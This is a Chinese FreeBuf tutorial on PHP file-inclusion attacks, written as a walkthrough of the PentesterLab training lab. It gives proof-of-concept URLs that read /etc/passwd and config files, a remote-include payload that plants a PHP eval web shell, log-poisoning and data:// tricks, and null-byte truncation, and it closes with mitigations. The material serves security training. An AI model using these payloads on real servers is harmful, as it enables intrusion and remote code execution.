freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

    PentesterLab新手教程(四):文件包含
    2018-05-11 10:00:08

    PentesterLab 简介

    Web for pentester 是国外安全研究者开发的的一款渗透测试平台。

    这个平台包含的主要漏洞如下:

    Code injection (代码注入)

    Commands injection(命令行注入)

    XSS(跨站脚本)

    SQL injections(sql注入)

    File include(文件包含)

    LDAP attacks(LDAP攻击)

    File Upload(文件上传)

    XML attacks(zXML攻击)

    个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab的全套教程,PentesterLab上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。

    系列教程:

    PentesterLab新手教程(一):代码注入

    PentesterLab新手教程(二):XML注入

    PentesterLab 新手教程(三) :LDAP攻击

    PentesterLab安装

    安装方法真是很简单了,官网下载ios镜像,虚拟机里面直接安装就好。

    官网地址&下载地址

    前言

    这个模块介绍的主要是php文件包含。

    php文件包含分为本地包含和远程包含。文件包含有以下几个函数:

    • include()
    • include_once()
    • require()
    • require_once()
    • fopen()
    • readfile()

    区别:

    • include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
    • require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

    require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件include_once()、require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。

    在做文件包含之前先了解一些常见的文件包含漏洞。

    读取关键文件

    Windows:
    
    c:\windows\php.ini             php配置文件
    c:\windows\my.ini               mysql配置文件
    
    Linux:
    
    /etc/passwd         读取用户密码
    /usr/local/app/php5/lib/php.ini          PHP配置文件
    /etc/httpd/conf/http.conf               apache主配置文件
    /etc/my.cnf                             mysql配置文件
    

    利用方式如:http://192.168.199.110/fileincl/example2.php?page=/etc/passwd

    远程包含

    前提是allow_url_fopen是打开状态。如远程服务器上新建一个xxx.txt文件,内容如下:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxx]);?>")?>
    

    远程包含如http://192.168.199.110/fileincl/example2.php?page=http://www.xxx.com/xxx.txt此时在服务器根目录下就会生成shell.php文件,内容为一句话木马

    <?php eval($_POST[xxx]);?>
    

    本地包含木马

    如果目标服务器关闭了allow_url_fopen,则可尝试上传如xxx.jpg。内容如下:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxx]);?>")?>
    

    访问如:http://192.168.199.110/fileincl/example2.php?page=/var/www/a.jpg就能在本地生成shell.php

    配合apache日志

    apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval($_POST[xxx]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址。

    利用php协议进行包含

    同样allow_url_include需要开启,利用如:http://www.xxx.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

    截断包含

    1. %00截断

    截断条件:

    • php版本小于5.3.4 详情关注CVE-2006-7243

    • php的magic_quotes_gpc为OFF状态

    • 长目录截断

      ././././././././././././././etc/passwd
      或者
      ////////////////////////////etc/passwd
      或者
      ../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

    :php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256,超出部分会被系统丢弃。

    1. 点号截断/boot.ini/……………………

    注:php版本小于5.2.8,只适用windows,点号需要长于256

    exampl1

    <?php require_once '../header.php'; ?>
    <?php
    
        if ($_GET["page"]) {
            include($_GET["page"]);
    
        } 
    ?>
    <?php require_once '../footer.php'; ?>
    

    没有任何过滤,基本上算是为所欲为。

    poc:

    http://192.168.199.110/fileincl/example2.php?page=/etc/passwd   本地包含
    http://192.168.199.110/fileincl/example2.php?page=http://assets.pentesterlab.com/test_include.txt   远程包含(PentesterLab的网站还包含针对此类漏洞的测试,访问此url会显示phpinfo内容)
    

    另外:向url的配置参数里面加上一固态特殊符号(例如引号)。会引起报错如下

    Warning: include(/etc'): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening '/etc'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
    ? PentesterLab 2013
    

    这应该算是个小技巧了吧,从中可以得到如下信息:

    脚本的路径:/var/www/fileincl/example1.php
    
    使用的功能:include()。
    

    example2

    <?php require_once '../header.php'; ?>
    
    <?php
        if ($_GET["page"]) {
        $file = $_GET["page"].".php";
        // simulate null byte issue
        $file = preg_replace('/\x00.*/',"",$file);
            include($file);
        } 
    ?>
    <?php require_once '../footer.php'; ?>
    

    后端代码分析

    $file = $_GET["page"].".php";给包含的文件加上.php后缀名,是为了防止本地包含漏洞,限制只包含php后缀名的文件。

    preg_replace()函数,正则表达式匹配,并把它替换成相应的字符串。

    \x00匹配该十六进制对应的acsii,即NULL
    
    .  匹配任意字符
    
    *  匹配前面的子表达式零次或多次。
    
    更多正则表达式相关可参照:http://www.runoob.com/regexp/regexp-syntax.html
    

    可以使用%00截断,poc如下:http://192.168.199.110/fileincl/example2.php?page=/etc/passwd%00 后面的.php后缀直接被截断。

    总结

    总的来说,文件包含是个比较常见的漏洞,可以直接getshell

    总的来说有以下几种预防的方法:

    1. php中可以使用 open_basedir配置限制访问权限在指定区域
    2. 过滤 . (点) / (斜杠) \ (反斜杠)3.禁止服务器远程文件包含(allow_url_include = off)

    *本文作者:婷儿小跟班✧,转载请注明来自FreeBuf.COM

    # PentesterLab # 文件包含
    本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
    被以下专辑收录,发现更多精彩内容
    + 收入我的专辑
    + 加入我的收藏
    相关推荐
    • 0 文章数
    • 0 关注者